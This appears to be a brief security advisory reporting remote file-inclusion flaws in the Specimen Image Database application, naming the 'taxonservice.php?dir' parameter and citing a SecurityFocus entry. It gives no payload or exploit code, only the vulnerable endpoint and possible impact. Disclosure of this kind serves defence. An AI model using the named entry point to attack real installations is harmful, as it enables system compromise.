Specimen Image Database - 'taxonservice.php?dir' Remote File Inclusion

source: https://www.securityfocus.com/bid/28142/info

SID (Specimen Image Database) is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
